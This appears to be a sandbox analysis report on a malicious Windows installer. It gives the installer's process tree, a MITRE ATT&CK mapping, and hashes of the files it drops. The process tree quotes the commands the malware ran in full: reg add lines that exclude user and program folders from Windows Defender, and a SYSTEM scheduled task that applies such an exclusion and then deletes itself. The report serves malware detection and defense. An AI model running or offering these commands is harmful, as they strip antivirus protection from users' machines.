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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4476 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5912
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1444
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4448
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\eTpEty" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4576 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\eTpEty" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:6028
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C:\Windows\system32\cmd.execmd.exe1⤵PID:1296
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1260 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1108
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2524 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3592
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1712 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3532
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e59676c.rbs
- Size 7KB
- SHA256 3cca78c3ed6581f352887356e33399b1a8057feb1a5ebb7775c8df3b63b8698f
- MD5 ab5cfd457692dbbc5a8a7cf2ae0284ed
- SHA1 6f6caa036f5d5cd8cb67e40368a6c7e53519f88a
- SHA512 f430a8379487342fdd2da01c79f87ee08c732893ab3e7239fd19a7e4821767aab831513eed0b5f9a8dc4b1dd0a24b318cbc1fa9c46b6411fecf33b3afe0f9191
- SSDEEP 96:7VdGgu0CLpxUUjdi21CsThqK/Ujdi21C6jdAsDThqKjHKIK5RPWELEyE/YwbWCKi:7VdXCDzxi2IIBsxi2ISBaHtI5lKps
- TLSH T1C6F10046B20581E2E9977731CF270F263BB3D3E49314A34B0ADE84749E4738C6EA519E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\eTpEty\UxEnhance64.dll
- Size 3.1MB
- SHA256 9e226075546d0a48cf314a5ff08ac6de353e06bacb838872bf632f11abc165cc
- MD5 72893d8198060d305be9a701c086da83
- SHA1 9047ad78d4a365a9b52d7f89962dcf944f8c402e
- SHA512 3537c22ed176e35ef0a78591c0442aaf4c4c15aec016ef9b9ceea3ae9ec13605f0a7d4ac4e23d594a26d09809c46302442f66d934de2da289745ce9550f4fa10
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+n:P9m29xx3Tiqt06ox6+z2rNNrKon
- TLSH T199E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\eTpEty\adoresd.dat
- Size 4.8MB
- SHA256 df9c9c7db7c680f41d5fa558cd5d5839835ae41da2feebe854d9d4e661a5cdb2
- MD5 7aaf37f98e4f4cb39d61a628f004bfae
- SHA1 1618f888c79debfbc6b59ef952c748625fed02eb
- SHA512 bd07e08f761fa761ab0bc68393030b8dcd565b038860a396044fe6ab6ee1b00d5222e6d184ca07e53d97029d0047d7d99f9ec57eade756c746acb4693fb969b8
- SSDEEP 98304:OuZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:TQDPnORb7AdPEm7Y7ltlVgxs
- TLSH T155363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\eTpEty\msadox.tb
- Size 8KB
- SHA256 e27aaf7cbc2e8495de34bf71112ab45588209b4b617f9c6a420c5879756e4a9c
- MD5 891f63f2b9c529b9ef7315cecd1b60f6
- SHA1 c7d615a20f0722f350691f53a70988f06469f664
- SHA512 96ed204aeae60d5b9e82fd4fafc176bd15b722553aa730bab585354c5a53bda647ee3656bf510633dc6194ab5a13d201820dfbbe67848dd591dc2b4edd3b7d0d
- SSDEEP 192:OqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:OsZqZOXQ3uqvR2Kfzp
- TLSH T1E4029E05D7A20CC7D3016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\eTpEty\qtOMuo.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI6D67.tmp
- Size 9.4MB
- SHA256 ac2225ad49d8f62d1c9991f5a67d303eb010492dd2e404371216346917894cd5
- MD5 066c4be0babf9fdd7313c1330ba03c62
- SHA1 eb80aa309319e0876cf24b7e0c188fdf4b9fd7a9
- SHA512 c21986bacda72682b05d66efb5036a8a4816ba61fd80cee2d26c590066ed8ef9641a8fda9415dca097bc0459117887b81f8824da82c16f1e8401f1b0f25a51df
- SSDEEP 196608:DzqVHuTf6bLcf2T7sqTYNLa+NLwprkZkyzT39f04FnGq0QrNoJ5kJh1A:PUOOvc+CLYoSylLUq0QpSx
- TLSH T16BA633D1798432B8C36FCBF49212B97C7D6A3351F6AA4E0B378D1900AEB13127A75794
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e59676b.msi
- Size 9.5MB
- SHA256 35581953779fb84c3aa498328e4947e08d523861110ae80c39b47b39a23f6627
- MD5 c2990271f5a89ebe60e90755b2cc6415
- SHA1 e19e626281a4e14341d738b8734b39cbccb83e7e
- SHA512 3d424f9885c694643362971d9b312203dc3dac4ca6a66da2cef1b349d02383f5b2c55511d883e26e56b438bbcb2ade1b9c744a34b8f050e1b4e24523ff621495
- SSDEEP 196608:dzqVHuTf6bLcf2T7sqTYNLa+NdwprkZkyzT39f04FnGq0QrtoJ5kJh17:dUOOvc+CLaoSylLUq0QhSG
- TLSH T1DDA633D1798433B9C36BCBB45212B97C7D693F51F6AA4E0B378D3600ADB13126A72394
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 9d22ad164b50996fb45f53b580efe11b2706e1c5f80e1a0411e3067589d78418
- MD5 7726700faab2e9efcb1a589155fa7fa6
- SHA1 9b108b787a126c44421915410f75eb62db44b401
- SHA512 f85232e276a882f34e7de6be5faa2ca1c8f4f879b36c817d9ab4e059860bdb5f0c2a00f9e63e342bfca976858cf0bea2da58f4fdbf41c309dfab89f815adf7da
- SSDEEP 24576:EFo3DMPudoO/vvTL/yQqKC1gP7egB7tZUHMo93Uy8PE6JdrasIBm6jgb+OA:rH0
- TLSH T16757A31437F92140E7B79E3CA8F06A234D397D5BAC19DE8D45411B4E0922FB1E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{cba08e50-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{e09078b8-2e65-4ce1-a171-448498f13ef9}_OnDiskSnapshotProp
- Size 6KB
- SHA256 7c9e712f5d35f0b48653ed040a828b68759ecf851a3d793468025113657a9180
- MD5 7b6ef8e9a367a1cb838ec5bc9937ca39
- SHA1 9f99f94ce9e39c8644c6a7079e0779a8eb6d765f
- SHA512 f7ef7d673dd57cb5129adf3b78930a39b6154aa20a2ab3511957b12dcd73c7c0083731671191feaaf927023c841584891d2cc0306cfef495efda81c213ddec2a
- SSDEEP 96:Fm2ESyAnavc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:01b++uVm
- TLSH T145D188085AE54711E2B3AB7229F18557A837B811FF33CB8E0198238E6621910F975F6B
- MD5 SHA1 SHA512 SSDEEP TLSH